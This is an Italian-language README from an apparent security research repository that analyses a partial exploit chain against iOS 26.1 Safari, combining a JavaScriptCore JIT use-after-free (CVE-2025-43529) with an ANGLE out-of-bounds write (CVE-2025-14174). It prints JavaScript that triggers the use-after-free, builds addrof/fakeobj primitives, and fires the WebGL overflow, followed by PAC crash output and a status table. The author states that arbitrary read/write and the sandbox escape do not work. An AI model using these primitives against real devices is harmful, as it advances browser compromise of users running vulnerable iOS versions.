
Analisi della catena di exploit CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari
Note e materiale PoC per una catena WebKit/ANGLE su iOS 26.1. Non è un exploit completo; separa le primitive verificate dai componenti che ancora falliscono.
Autore: zeroxjf
Basato su: jir4vv1t's CVE-2025-43529 exploit
Stato: Catena parziale; R/W arbitrario non dimostrato
Dispositivo di test: iPhone 11 Pro Max, iOS 26.1
Ultimo aggiornamento: gennaio 2026
Il trigger UAF di CVE-2025-43529, il reclaim della butterfly e le primitive addrof/fakeobj si basano sul lavoro di jir4vv1t. I miei contributi sono il collegamento OOB di ANGLE, l'analisi incentrata su PAC e la validazione su iOS 26.1.
Due CVE WebKit divulgate insieme e segnalate da Apple come sfruttate in natura.
| CVE | Component | Type | Summary |
|---|---|---|---|
| CVE-2025-43529 | JavaScriptCore | Use-After-Free | La mancata write barrier in DFG JIT porta il GC a liberare oggetti ancora vivi |
| CVE-2025-14174 | ANGLE (GPU) | Out-of-Bounds Write | Il backend Metal usa un'altezza errata per l'allocazione dello staging buffer |
Il bug si trova nella DFG JIT di JavaScriptCore, in particolare nella Store Barrier Insertion Phase (DFGStoreBarrierInsertionPhase.cpp).
Quando un Phi node è in escape ma i suoi input Upsilon non sono marcati come escaped, le store successive omettono la write barrier. Questo consente al GC di liberare oggetti ancora raggiungibili.
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
La butterfly della Date liberata può essere rioccupata tramite spray di array, creando una type confusion:
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
Nel backend Metal di ANGLE (TextureMtl.cpp), l'allocazione dello staging buffer usa UNPACK_IMAGE_HEIGHT invece dell'altezza reale della texture durante il caricamento tramite PBO.
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Su arm64e (iPhone 11 Pro Max), i Pointer Authentication Codes proteggono puntatori JSC critici:
| Pointer | Protected | Result |
|---|---|---|
TypedArray m_vector | Sì | Non è possibile falsificare una TypedArray con un backing store arbitrario |
JSArray butterfly | Sì | Non è possibile falsificare una JSArray con una butterfly arbitraria |
Quando provo a creare una TypedArray/JSArray finta con un puntatore dati arbitrario, la verifica PAC fallisce e il processo va in crash:
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
La type confusion riesce perché entrambi gli array usano puntatori butterfly firmati legittimamente: stiamo solo reinterpretando la stessa memoria. Gli oggetti finti con puntatori arbitrari non firmati vanno in crash al controllo PAC.
addrof, fakeobj, leak di indirizzi, lettura/scrittura su slot inline di oggetti notiread64/write64 arbitrari, catena di escape renderer→GPU, escape dalla sandbox├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
Il trigger di CVE-2025-43529, la tecnica di reclaim della butterfly e la costruzione di addrof/fakeobj si basano su jir4vv1t/CVE-2025-43529. Questa repo aggiunge la validazione su iOS 26.1, le note sul PAC e il collegamento OOB di ANGLE.
Stato attuale: utile per riprodurre la primitiva JSC e il blocco PAC; non è una catena di exploit completa.
| Primitiva | Stato | Note |
|---|
addrof(obj) | Funzionante | Verificata nel probe |
fakeobj(addr) | Funzionante | Verificata su oggetti noti |
| Address leaking | Funzionante | 20+ indirizzi per run |
| Lettura/scrittura slot inline | Funzionante | Verificata su slot inline noti (basata su indirizzo di oggetto) |
read64(addr) | Non verificata | Costruita tramite il trucco degli slot inline, prova fallita |
write64(addr) | Non verificata | Costruita tramite il trucco degli slot inline, prova fallita |